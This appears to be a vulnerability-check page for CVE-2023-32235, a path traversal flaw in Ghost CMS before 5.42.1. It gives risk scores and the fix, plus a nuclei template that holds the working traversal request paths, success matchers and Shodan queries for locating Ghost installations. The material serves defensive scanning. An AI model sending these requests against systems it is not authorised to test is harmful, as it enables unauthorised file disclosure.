Ghost CMS < 5.42.1 - Path Traversal

highseverity

7.5CVSS score

39.1%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Ghost before 5.42.1 allows remote attackers to read arbitrary files within the active theme's folder via /assets/built%2F..%2F..%2F/ directory traversal. This occurs in frontend/web/middleware/static-theme.js.

Impact

An attacker can exploit this vulnerability to access sensitive files on the server, potentially leading to unauthorized disclosure of sensitive information.

Fix

Fixed in version 5.42.1

How to confirm it

Send: GET {{BaseURL}}/assets/built%2F..%2F..%2F/package.json ; GET {{BaseURL}}/assets/built%2F..%2F..%2F%E0%A4%A/package.json
Positive when: contains "\"name\"" and "\"version\"" and "\"ghost\"" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2023-32235 -u <target>

The full check

id: CVE-2023-32235

info:
  name: Ghost CMS < 5.42.1 - Path Traversal
  author: j3ssie
  severity: high
  description: |
    Ghost before 5.42.1 allows remote attackers to read arbitrary files within the active theme's folder via /assets/built%2F..%2F..%2F/ directory traversal. This occurs in frontend/web/middleware/static-theme.js.
  impact: |
    An attacker can exploit this vulnerability to access sensitive files on the server, potentially leading to unauthorized disclosure of sensitive information.
  remediation: Fixed in version 5.42.1
  reference:
    - https://github.com/advisories/GHSA-wf7x-fh6w-34r6
    - https://nvd.nist.gov/vuln/detail/CVE-2023-32235
    - https://github.com/TryGhost/Ghost/commit/378dd913aa8d0fd0da29b0ffced8884579598b0f
    - https://github.com/TryGhost/Ghost/compare/v5.42.0...v5.42.1
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-32235
    cwe-id: CWE-22
    epss-score: 0.39078
    epss-percentile: 0.98607
    cpe: cpe:2.3:a:ghost:ghost:*:*:*:*:*:node.js:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: ghost
    product: ghost
    framework: node.js
    shodan-query:
      - http.component:"Ghost"
      - http.component:"ghost"
  tags: cve2023,cve,lfi,ghostcms,ghost,node.js,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/assets/built%2F..%2F..%2F/package.json"
      - "{{BaseURL}}/assets/built%2F..%2F..%2F%E0%A4%A/package.json"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"name"'
          - '"version"'
          - '"ghost"'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from